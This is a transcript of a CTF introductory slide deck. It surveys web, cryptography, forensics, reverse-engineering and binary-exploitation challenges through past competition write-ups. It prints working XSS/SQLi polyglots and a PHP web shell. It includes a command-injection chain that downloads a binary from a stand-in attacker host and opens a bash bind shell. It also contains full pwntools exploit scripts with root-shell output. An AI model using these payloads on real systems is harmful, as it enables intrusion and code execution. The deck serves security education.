Upgrade to Pro — share decks privately, control downloads, hide ads and more …

CTF 101

73696e65
November 03, 2016

CTF 101

CTF 101 @ CypherConf 2016 (Bratislava, Slovakia)

73696e65

November 03, 2016
Tweet

More Decks by 73696e65

Other Decks in Research

Transcript

  1. $ whoami ⟫ Penetration Tester (> 8 years), OSCP, OSCE

    ⟫ Active CTF Player ⟫ Reverse Engineering / Exploit Development / Cryptography ⟫ iOS / OS X Security 2
  2. ⟫ General thoughts about CTF ⟫ Everything that you need

    to know to get involved ⟫ Description of various techniques with the different complexity, some of them not so well known ⟫ Further reading and study Content 3
  3. ⟫ Information Security Competition ⟫ Usually accessible from the Internet

    (https://ctftime.org/calendar) ⟫ Jeopardy Style ⟫ Binary Exploitation (PWN) ⟫ Cryptography, Steganography ⟫ Digital Forensics ⟫ Reverse Engineering ⟫ Web Security ⟫ Miscellaneous (Programming, Information Gathering) ⟫ Attack-defense style ⟫ Defcon CTF, Chaos Communication Congress ⟫ Cyber Grand Challenge ⟫ In both of them, you receive points by "capturing flags" ⟫ Simple rules, anything "unfair" is prohibited What is Capture The Flag? 4
  4. Motivation ⟫ Highly practical, rapidly learning and applying new things

    ⟫ Knowledge could be applied in the broader content ⟫ Challenges are inspired by penetration testing, bug bounty, security research, latest revealed vulnerabilities ⟫ Up-to-date with the security world ⟫ After the competition is over, you can read or publish your writeups 5
  5. ⟫ Different architectures ⟫ Intel x32/x64 ⟫ ARMv7, ARM64 ⟫

    MIPS ⟫ PowerPC ⟫ Multiple operating systems recommended ⟫ Linux distribution (Kali32, Kali64) ⟫ Your favourite Windows ⟫ macOS (albeit rarely used) ⟫ iOS, Android (Genymotion) ⟫ Virtualization (VMWare, QEMU, VirtualBox), snapshots Before you start playing 6
  6. ⟫ Common web attacks ⟫ Local / Remote File Inclusion

    ⟫ Insecure Upload ⟫ SQL injection ⟫ Cross Site Scripting ⟫ Remote Code Execution ⟫ XML external entity attack ⟫ Race conditions ⟫ Insufficient access control (robots.txt, X-Forwarded-For: 127.0.0.1) ⟫ Bandwidth-heavy traffic or brute-force attacks are mostly disallowed Web Category 7
  7. Polyglot locators ⟫ Polyglot code is interpreted in various context

    (single quote, double quote, direct interpretation) ⟫ XSS: ⟫ ';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))/ /";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83)) //--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> ⟫ " onclick=alert(1)//<button ' onclick=alert(1)//> */ alert(1)// ⟫ SQLi: ⟫ SLEEP(5) /*' or SLEEP(5) or '" or SLEEP(5) or "*/ ⟫ When exploiting LFI, it is common to use an image file containing the PHP code (to evade MIME checks) 8
  8. Bash's brace expansion ⟫ Assume we have a web application

    which takes an input and executes the external binary with this input (os.system) ⟫ Any potentially malicious characters should be filtered ⟫ Can we execute any bash shell commands, even if the spaces are sanitized? $ {echo,hello,world} hello world 0.0.0.0|{wget,http://attacker.com/sbd} 0.0.0.0|{chmod,+x,./sbd} 0.0.0.0|{./sbd,-l,-p,1337,-e,/bin/bash} 9
  9. PHP - Strings without quotes ⟫ One of the most

    common php backdoors looks like <?php system($_REQUEST['cmd']); ?> ⟫ What if the (double) quotes are escaped (common thing if you include the session file) ⟫ If you do not use spaces or some special characters, PHP strings do not need quotes ⟫ Consequently this payload is equivalent to the one above: <?php system($_REQUEST[cmd]); ?> 10
  10. PHP - Filtering in eval 11 ⟫ Our input is

    blacklisted to not contain potentially dangerous characters (.+-*"`[]) and later used with eval() function ⟫ We can still use ~ to generate arbitrary string ⟫ In Python: from sys import stdout for ch in 'phpinfo': stdout.write( '%'+hex(255-ord(ch))[2:] ) %8f%97%8f%96%91%99%90 ⟫ In browser, we send: $a=~'%8f%97%8f%96%91%99%90';$a();
  11. ⟫ Assumption: ⟫ The upload.php script checks the extension of

    the file we want to upload ⟫ If the extension matches .jpg, the file will be stored in DocumentRoot ⟫ The page parameter of index.php is vulnerable to LFI ⟫ After the content of the page parameter, .php string is appended) ⟫ That means we can include only .php files! ⟫ Example: "/var/www/owlur/injection.jpg" + ".php" ⟫ Naive idea - what about uploading filename.php%00.jpg? ⟫ Nope (NULL Byte Poisoning was fixed in PHP 5.3.4) ⟫ Using PHP wrappers, it is possible to read the source code: php://filter/convert.base64-encode/resource=upload php://filter/convert.base64-encode/resource=upload.php Web - Insecure Upload Challenge 12
  12. ⟫ What about different wrappers? ⟫ http://php.net/manual/en/wrappers.php ⟫ http://php.net/manual/en/wrappers.compression.php ⟫

    We can use ZIP, PHAR ⟫ Example from documentation: zip://archive.zip#dir/file.txt ⟫ We want to include something like zip://archive.jpg#dir/file.php ⟫ Solution: ⟫ Create the zip archive with the compressed php shell (shell.php) ⟫ Rename the archive to archive.jpg ⟫ /index.php?page=zip:///var/www/owlur/archive.jpg%23shell ⟫ /index.php?page=zip:///var/www/owlur/archive.jpg%23shell.php ⟫ Use PHP Code / RCE to read the flag Web - Insecure Upload Challenge 13
  13. ⟫ Common encoding or encryptions ⟫ b32 encoding, b64 encoding,

    b85 encoding ⟫ Using numbers as GPS coordinates ⟫ Classical ciphers (Caesar, Affine Cipher, Substitution Cipher) ⟫ XOR (modulo 2 addition or subtraction) ⟫ Different keyboard layouts (dvorak) ⟫ Various attacks to the modern cryptographic protocols ⟫ PRNG Attacks ⟫ AES / ECB attack ⟫ CBC Oracle Padding Attack ⟫ RSA Wiener's attack ⟫ Hash Extension Attack ⟫ It is common to implement own (vulnerable) cryptosystem Cryptography Category 14
  14. Padding Oracle Attack Secret: "the secret message to decrypt" Plaintext

    (hex): p = "74686520736563726574206d65737361676520746f2064656372797074" Plaintext (hex) + PKCS5: p = "74686520736563726574206d65737361676520746f2064656372797074030303" Ciphertext: c = "d8a27e091aafa10cb0416d6a79724e8075d939f1ba5d8f33b2d39dc287523dc8" 17
  15. Padding Oracle Attack What happens when we corrupt the ciphertext?

    "XXa27e091aafa10cb0416d6a79724e8075d939f1ba5d8f33b2d39dc287523dc8" <= c[0] "74686520736563726574206d65737361XX6520746f2064656372797074030303" <= plaintext "d8XX7e091aafa10cb0416d6a79724e8075d939f1ba5d8f33b2d39dc287523dc8" <= c[1] "74686520736563726574206d6573736167XX20746f2064656372797074030303" <= plaintext "d8a27e091aafa10cb0416d6a79XX4e8075d939f1ba5d8f33b2d39dc287523dc8" <= c[13] "74686520736563726574206d65737361676520746f2064656372797074XX0303" <= plaintext c[15] = c[15] ^ 0x03 ^ 0x04 c[14] = c[14] ^ 0x03 ^ 0x04 c[13] = c[13] ^ 0x03 ^ 0x04 c[12] = ?? "74686520736563726574206d65737361676520746f20646563727970??040404" 18
  16. Padding Oracle Attack We manage to find the correctly decrypted

    block (no error): "d8a27e091aafa10cb0416d6a7975498775d939f1ba5d8f33b2d39dc287523dc8"<= c[13..15] "74686520736563726574206d65737361676520746f2064656372797074040404"<= plaintext c[28 - block_size] = c[12] = 0x09 // here we use brute force attack "d8a27e091aafa10cb0416d6a0975498775d939f1ba5d8f33b2d39dc287523dc8"<= c[12..15] "74686520736563726574206d65737361676520746f2064656372797004040404"<= plaintext Decrypting the last character: c2[12] ^ I3[12] = P3[12] c2'[12] ^ I3[12] = 0x04 (padding) c2[12] ^ c2'[12] = P3[12] ^ 0x04 P3 = c2[12] ^ c2'[12] ^ 0x04 = = 0x79 ^ 0x09 ^ 0x04 = 't' "the secret message to decrypt" 19
  17. Steganography and Forensics Category ⟫ Steganography tools or techniques ⟫

    Steghide, Stepic ⟫ Least Significant Bit Embeddings, encoding data in the pixels ⟫ Metadata (CRC, Exif Header) ⟫ Useful tools during steganalysis ⟫ https://github.com/luca-m/lsb-toolkit ⟫ Stegsolve.jar, steganabara-1.1.1.jar ⟫ outguess, xortool (hellman) ⟫ Forensics ⟫ QR Codes ⟫ Disk and memory analysis (volatility) ⟫ strings, binwalk ⟫ Good knowledge of common file formats (ZIP, PNG, JPG, BMP, etc) 20
  18. ⟫ Provided two files: ⟫ Evelyn Davis.zip ⟫ Ryan King.zip

    ⟫ The first one could be easily cracked using fcrackzip: $ fcrackzip -v -D -u -p /usr/share/wordlists/rockyou.txt "Evelyn Davis.zip" found file 'Evelyn Davis.vcf', (size cp/uc 137/ 155, flags 9, chk 926d) found file 'signature.png', (size cp/uc 23743/ 27018, flags 9, chk 92fc) PASSWORD FOUND!!!!: pw == basher ⟫ It was not possible to crack the second archive (with the flag) in reasonable time CTF(x) 2016 Forensics 100 - password 21
  19. $ cat "Evelyn Davis.vcf" BEGIN:VCARD VERSION:3.0 N:Davis;Evelyn;;; FN:Evelyn Davis ORG:Defund

    Corp; EMAIL;type=INTERNET;type=WORK;type=pref:[email protected] END:VCARD CTF(x) 2016 Forensics 100 - password 22 $ unzip -l "Ryan King.zip" Archive: Ryan King.zip Length Date Time Name --------- ---------- ----- ---- 146 2016-07-24 12:19 Ryan King.vcf 100990 2016-07-27 15:27 signature.png --------- ------- 101136 2 files
  20. CTF(x) 2016 Forensics 100 - password ⟫ If we know

    12 or 13 bytes of plaintext (not necessarily at the beginning of the files), we can perform KPA (known plaintext attack) against PkZip-encryption ⟫ The latest ZIP encryption implementation which uses RSA is not vulnerable 23
  21. ⟫ We created a similar vCard for "Ryan King" $

    cat 'Ryan King.vcf' BEGIN:VCARD VERSION:3.0 N:King;Ryan;;; FN:Ryan King ORG:Defund Corp; EMAIL;type=INTERNET;type=WORK;type=pref:[email protected] END:VCARD ⟫ vCard ZIP compression $ zip archive.zip 'Ryan King.vcf' adding: Ryan King.vcf (deflated 16%) CTF(x) 2016 Forensics 100 - password 24
  22. CTF(x) 2016 Forensics 100 - password 25 $ pkcrack-1.2.2/src/pkcrack -C

    Ryan\ King.zip -c 'Ryan King.vcf' -P archive.zip -p 'Ryan King.vcf' -d decrypted.zip -a [ .. SNIP .. ] Strange... had a false hit. Ta-daaaaa! key0=86cdf919, key1=bd44c60c, key2=60dbe8f7 Probabilistic test succeeded for 114 bytes. Strange... had a false hit. Strange... had a false hit. Strange... had a false hit. Strange... had a false hit. Strange... had a false hit. Stage 2 completed. Starting zipdecrypt on Sat Aug 27 10:47:01 2016 Decrypting Ryan King.vcf (be2570e236508bf4c50b6b92)... OK! Decrypting signature.png (0d296646595805d826ba79ab)... OK! Finished on Sat Aug 27 10:47:01 2016
  23. ⟫ ltrace, strace ⟫ strings, binwalk ⟫ IDA Pro (Hex-Rays),

    Binary Ninja, Hooper ⟫ radare2 ⟫ angr ⟫ AFL, pintool Reverse Engineering Category 26
  24. angr ⟫ A static and dynamic symbolic binary analysis framework

    by Shellphish CTF team ⟫ Uses z3 solver and SimuVEX symbolic execution engine ⟫ A lot of examples and CTF writeups in the official documentation https://github.com/angr/angr-doc ⟫ Shellphish used angr in the DARPA Cyber Grand Challenge 27
  25. $ time python solve.py solution: rotors real 1m6.818s user 1m5.984s

    sys 0m0.684s DefCamp Quals 2015 Reverse 200 - r200 import angr p = angr.Project("r200", load_options={'auto_load_libs': False}) ex = p.surveyors.Explorer(find=(0x400936, ), avoid=(0x400947,), enable_veritesting=True) ex.run() print "solution: " + ex.found[0].state.posix.dumps(0).strip('\0\n') 29
  26. Exploitation Category ⟫ Shellcoding ⟫ Format Strings Vulnerabilities ⟫ NX

    (DEP), Return Oriented Programming ⟫ Address Space Layout Randomization ⟫ Stack Canaries ⟫ Information Leaks ⟫ Heap Exploitation ⟫ UAF, vtables ⟫ Kernel Exploitation 30
  27. $ cat test.c void main() { func(); } void func()

    { } Program layout $ objdump -M intel -d test 00000000004004a6 <main>: 4004a6: 55 push rbp 4004a7: 48 89 e5 mov rbp,rsp 4004aa: b8 00 00 00 00 mov eax,0x0 4004af: e8 03 00 00 00 call 4004b7 <func> 4004b4: 90 nop 4004b5: 5d pop rbp 4004b6: c3 ret 00000000004004b7 <func>: 4004b7: 55 push rbp 4004b8: 48 89 e5 mov rbp,rsp 4004bb: 90 nop 4004bc: 5d pop rbp 4004bd: c3 ret 31
  28. call - pushes the next instruction address to the stack

    and performs a jump to the code denoted by the label ret - retrieve the value from the top of the stack, unconditionally jump to this location Important questions: What happens when we have a multiple ret instructions, one after another? Program layout $ objdump -M intel -d test 00000000004004a6 <main>: 4004a6: 55 push rbp 4004a7: 48 89 e5 mov rbp,rsp 4004aa: b8 00 00 00 00 mov eax,0x0 4004af: e8 03 00 00 00 call 4004b7 <func> 4004b4: 90 nop 4004b5: 5d pop rbp 4004b6: c3 ret 00000000004004b7 <func>: 4004b7: 55 push rbp 4004b8: 48 89 e5 mov rbp,rsp 4004bb: 90 nop 4004bc: 5d pop rbp 4004bd: c3 ret 32
  29. ⟫ This calling convention is followed on Linux, macOS, FreeBSD,

    Solaris ⟫ The first four integer or pointer arguments are passed in registers RDI, RSI, RDX, RCX ⟫ In the simplest case, we want to achieve: mov rdi, offset shell ; address of sh\x00 ret ; system address on the top of the stack ⟫ For the x86 architecture, the arguments are passed via stack System V AMD64 ABI 33
  30. Low Memory Region ... Local Variables Canary Saved Frame Pointer

    RBP Saved Instruction Pointer RIP Function arguments ... High Memory Region Basic Stack Layout before and after overflow Low Memory Region ... Aa0Aa1Aa2Aa3Aa4Aa5Aa 6Aa7Aa8A a9Ab0Ab1 Ab2Ab3Ab 4Ab5Ab6A b7Ab8Ab9 ... High Memory Region 34
  31. Buffer Overflow (without canary), ROP $ cat vulnerable.c void vulnerable(char

    * src) { char dest[128]; strcpy(dest, src); } int main(int argc, char **argv) { vulnerable(argv[1]); return 0; } gdb-peda$ r $(python -c 'print "A" * 200') Program received signal SIGSEGV, Segmentation fault. [code] 0x400509 <vulnerable+35>: call <strcpy@plt> 0x40050e <vulnerable+40>: nop 0x40050f <vulnerable+41>: leave => 0x400510 <vulnerable+42>: ret 0x400511 <main>: push rbp 0x400512 <main+1>: mov rbp,rsp 0x400515 <main+4>: sub rsp,0x10 0x400519 <main+8>: mov DWORD PTR [rbp-0x4],edi [stack] 0000| 0x7fffffffe758 ('A' <repeats 64 times>) 0008| 0x7fffffffe760 ('A' <repeats 56 times>) 0016| 0x7fffffffe768 ('A' <repeats 48 times>) 35
  32. ⟫ ASLR randomize the location where system executables are loaded

    into the memory ⟫ Without PIE, there are still sections not randomized (.text, .plt, .got, .data, .bss, .rodata, .init, .fini) ⟫ Several techniques how to evade ASLR ⟫ Partial address overwrite (little endian architecture) ⟫ Brute-force ⟫ Information Leak ⟫ Side-Channel attack: http://www.cs.ucr.edu/~nael/pubs/micro16.pdf ASLR 36
  33. ⟫ If we can leak any meaningful pointer, we have

    likely defeated ASLR protected binary ⟫ For example, the offset from puts() to system() is always same for a specific libc version ⟫ The address of puts() is located in GOT (Global Offset Table) / PLT (Procedure Linkage Table) binary section ⟫ If the libc is dynamically linked (which is almost always), the loader puts the actual address of the symbol here ⟫ Common methods are using UAF or reading a buffer without the terminating \0 byte Information Leak 37
  34. ⟫ As the name suggest, it would be more or

    less straightforward to exploit ⟫ Great way to learn pwntools, gdb-peda, ROPgadget ⟫ Still online here https://ctf.csaw.io/challenges ⟫ It terminates if the user 'tutorial' does not exist ⟫ Uses argv[1] to bind on some port, where we can interact with the binary locally ⟫ For remote exploitation, server's libc is provided CSAW 2016 PWN 200 - Tutorial 38
  35. gdb-peda$ checksec CANARY : ENABLED FORTIFY : disabled NX :

    ENABLED PIE : disabled RELRO : Partial CSAW 2016 PWN 200 - Tutorial 39
  36. root@kali64:~$ nc 0 1337 -Tutorial- 1.Manual 2.Practice 3.Quit >1 Reference:0x7f1cc0831200

    -Tutorial- 1.Manual 2.Practice 3.Quit >2 Time to test your exploit… > ��� ���Щ CSAW 2016 PWN 200 - Tutorial ⟫ After a few minutes of static and dynamic analysis, we noticed that: ⟫ Menu 1 leaks puts symbol address - 0x500 ⟫ Menu 2 leaks the stack cookie ⟫ Menu 2 with a long buffer causes buffer overflow, which could be used to gain control over stored value of RIP 40
  37. def leak_canary(): x.send("2\n\n") x.recvline() x.recvline() return u64(x.recvline()[311:319]) def leak_puts_address(): x.send("1\n")

    x.recvuntil("Reference:") puts_addr = int(x.recvline().rstrip(), 16) + 0x500 x.recvuntil('>') return puts_addr Socket (tubes) communication (pwntools) 41
  38. Looking for the suitable gadgets ⟫ ROPgadget $ ROPgadget --binary

    tutorial | grep rdi 0x0000000000400293 : cmpsd dword ptr [rsi], dword ptr [rdi] ; ret 0xc655 0x00000000004012e3 : pop rdi ; ret ⟫ gdb-peda ropgadget command ropsearch 'pop rdi, ?' ⟫ http://ropshell.com 42
  39. x = remote('127.0.0.1', argv[1]) # libc = ELF('./libc-2.19.so') libc =

    ELF('/lib/x86_64-linux-gnu/libc-2.23.so') puts_leak = leak_puts_address() libc.address = puts_leak - libc.symbols['puts'] system_address = libc.symbols['system'] shell_address = next(libc.search('sh\x00')) [ .. SNIP .. ] payload += p64(pop_rdi_ret_address) payload += p64(shell_address) payload += p64(system_address) x.sendline(payload) x.interactive() Libc base computation with ROP (pwntools) 43
  40. root@kali64:~$ ./exploit.py 1337 [+] Opening connection to 127.0.0.1 on port

    1337: Done [*] '/lib/x86_64-linux-gnu/libc-2.23.so' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [*] 0xdc0bb682f6a2be00 <- leaked canary [*] 0x7f1cc0831700 <- leaked puts() address [*] 0x7f1cc07ca000 <- libc base address [*] 0x7f1cc0809510 <- computed system() address [*] 0x7f1cc08a46f0 <- computed dup2() address [*] 0x7f1cc07dbe40 <- computed 'sh\x00' address [*] Switching to interactive mode $ id uid=1000(tutorial) gid=1001(tutorial) groups=1001(tutorial) Final Exploit 44
  41. Conclusion 45 ⟫ Touches many aspects of information security such

    as web security, cryptography, steganography, binary analysis, reverse engineering, mobile security to improve your skills ⟫ As in the real world, there is no right way to solve a problem and you can use whatever works ⟫ The best way to learn is to play
  42. ⟫ Practising on wargames ⟫ overthewire.org ⟫ microcorruption.com ⟫ io.netgarage.org

    ⟫ websec.fr ⟫ cryptopals.com ⟫ 2013.picoctf.com ⟫ pwnable.kr ⟫ reversing.kr ⟫ https://github.com/ctfs/write-ups-201{3..6} Further Online Resources 46
  43. Recommended books 47 ⟫ Hacking: The Art of Exploitation, 2nd

    Edition ⟫ Practical Malware Analysis ⟫ IDA Pro Book, 2nd Edition ⟫ Practical Reverse Engineering: x86, x64, ARM, Windows Kernel, Reversing Tools, and Obfuscation ⟫ The Web Application Hacker's Handbook, 2nd Edition
  44. root@kali64:~$ ./oneshot Read location? ... Value: ... Jump location? ...

    Good luck! Segmentation fault TJCTF 2016 Exploit 170 - Oneshot ⟫ What if we can overwrite only one address? ⟫ The challenge binary could be downloaded here https://github.com/TJCSec/tjctf-1516-released/tree/master/oneshot 50
  45. TJCTF 2016 Exploit 170 - Oneshot ⟫ In every libc,

    there is a magic gadget! ⟫ Using IDA Pro, it could be easily found with Xrefs to execve() syscall 51
  46. from pwn import * libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so') magic_offset = 0x0D5567

    puts_got = 0x600ad8 x = process("./oneshot") def leak_puts_address(): x.sendline(str(puts_got)) x.recvuntil("Value: ") puts_addr = int(x.recvline(), 16) return puts_addr puts_leak = leak_puts_address() libc.address = puts_leak - libc.symbols['puts'] magic_address = libc.address + magic_offset x.sendline(str(magic_address)) x.interactive() TJCTF 2016 Exploit 170 - Oneshot root@kali64:~$ python ./exploit.py [*] '/lib/x86_64-linux-gnu/libc-2.23.so' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [+] Starting local process './oneshot': Done [*] Switching to interactive mode Jump location? Good luck! $ id uid=0(root) gid=0(root) groups=0(root) 52
  47. ⟫ Awesome "timeless" debugger from George Hotz ⟫ IDA Pro

    Integration ⟫ $ socat tcp-l:4000,reuseaddr,fork exec:"qira --web-host 0.0.0.0 ./a.out" ⟫ Stdin redirected to the socket ⟫ Web interface ⟫ So-called competitor to strace and gdb QIRA 53
  48. ⟫ Reading from (that means even dumping the whole binary),

    writing to arbitrary memory ⟫ Direct parameter access via %<num>$ ⟫ Writing via %n (1 byte), %hn (2 bytes) ⟫ $ for i in {10..100}; do echo "%$i"'$s' | ./fmt_vuln ; done ⟫ $ echo "AAAA %6\$p" | ./fmt_lec01 AAAA 0x41414141 ⟫ $ ruby -e 'print [0xbffff5f4].pack("V") + " %6\$s"' | ./fmt_vuln Format String Exploitation 54 void main() { printf("%s", argv[1]); // correct printf(argv[1]); // wrong }
  49. Heap (glibc) Exploitation ⟫ The idea is similar to buffer

    overflow, although much more complicated, because in most cases we do metadata corruption ⟫ A repository for learning various heap exploitation techniques from Shellphish: https://github.com/shellphish/how2heap ⟫ gdb python library for examining the glibc heap (ptmalloc2, forked from dlmalloc): https://github.com/cloudburst/libheap ⟫ Various Phrack Articles (Malloc Des-Maleficarum), https://sploitfun.wordpress.com/2015/02/10/understanding-glibc- malloc/ 55
  50. Double-free attack with fastbins ⟫ Generally, double-free attacks no longer

    work ⟫ For faster allocation / deallocation, glibc allocator uses fast memory chunks (fastbins). ⟫ Size varies between 16 - 80 bytes ⟫ In recent malloc() implementation, double-free attack with fastbins is still possible 56
  51. Double-free attack with fastbins 57 int main() { int *a

    = malloc(8); int *b = malloc(8); free(a); free(b); // we cannot free a here, because a is at the top // of the free list so the process crashes free(a); malloc(8); malloc(8); malloc(8); }
  52. Double-free attack with fastbins $ ltrace -f -e malloc -e

    free ./fastbin_dup [pid 13773] fastbin_dup->malloc(8) = 0x9d1f008 [pid 13773] fastbin_dup->malloc(8) = 0x9d1f018 [pid 13773] fastbin_dup->free(0x9d1f008) = <void> [pid 13773] fastbin_dup->free(0x9d1f018) = <void> [pid 13773] fastbin_dup->free(0x9d1f008) = <void> [pid 13773] fastbin_dup->malloc(8) = 0x9d1f008 [pid 13773] fastbin_dup->malloc(8) = 0x9d1f018 [pid 13773] fastbin_dup->malloc(8) = 0x9d1f008 58
  53. $ ./notuslotes Welcome to NOTUS LOTES! [0] Create user [1]

    Delete user [2] List users [3] Log in > ⟫ Binary can be downloaded here: http://bit.ly/2eXaRHy ⟫ It is possible to create users, but not to log in: "Administrator should verify the account before it's marked as active" Security Fest 2016 Exploit ??? - notuslotes 59 $ checksec notuslotes [*] '/root/HACK/notuslotes' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE $ ./notuslotes Welcome to NOTUS LOTES! [0] Create user [1] Delete user [2] List users [3] Log in > 0 Name: test Active (Y/N): Y ONLY ADMINS ARE ALLOWED TO CREATE ACTIVE USERS
  54. Security Fest 2016 Exploit ??? - notuslotes 60 Note: The

    last else branch on the bottom is responsible for storing the account pointer only if the account is not active
  55. Security Fest 2016 Exploit ??? - notuslotes ⟫ Create account1,

    account2 ⟫ Delete (free) account1, account2, account1 ⟫ Create account1, account2, account1 (this last one must be an active) ⟫ Finally we are allowed to log in as admin 61 [3] Log in > 3 Name: account1 [0] Create user [1] Delete user [2] List users [3] Log in [4] Create note [5] Print notes
  56. ⟫ The note is allocated with malloc() and has different

    categories (general, invoice, receipt) ⟫ Each one uses different 'print function' ⟫ After the content (12B), the print function (4B) is stored ⟫ The binary implements its own (different one) print function: int print(char *format) { return printf(format); } ⟫ Would be easily exploitable via format strings, but unfortunately we have no control over the format parameter Security Fest 2016 Exploit ??? - notuslotes 62
  57. Security Fest 2016 Exploit ??? - notuslotes 63 ⟫ What

    if we deallocate the accounts again and create a user, interpreted as the note, allocated on the same place (UAF)? ⟫ After storing 12 bytes as user account, we can overwrite the 4B pointer ⟫ Moreover with the print function above, we can leak anything from the GOT section
  58. Security Fest 2016 Exploit ??? - notuslotes got_getchar_address = elf.got['getchar']

    format_string = '__%14$s_' print_address = elf.symbols['print'] sendline('0') payload_account = p32(got_getchar_address) + format_string + p32(print_address) x.sendline(payload_account) x.sendline('N') x.recvuntil("> ") 64
  59. [*] Leaked printGeneral() address: 0x8048d7f [*] Leaked getchar() address: 0xf7e5df30

    [*] Libc base address: 0xf7df9000 [*] Computed system() address: 0xf7e33850 [*] Switching to interactive mode $ id uid=0(root) gid=0(root) groups=0(root) Security Fest 2016 Exploit ??? - notuslotes ⟫ Now we delete the account again, compute the system() address and use it as the new account ⟫ My final exploit is here: http://bit.ly/2fAnSup 65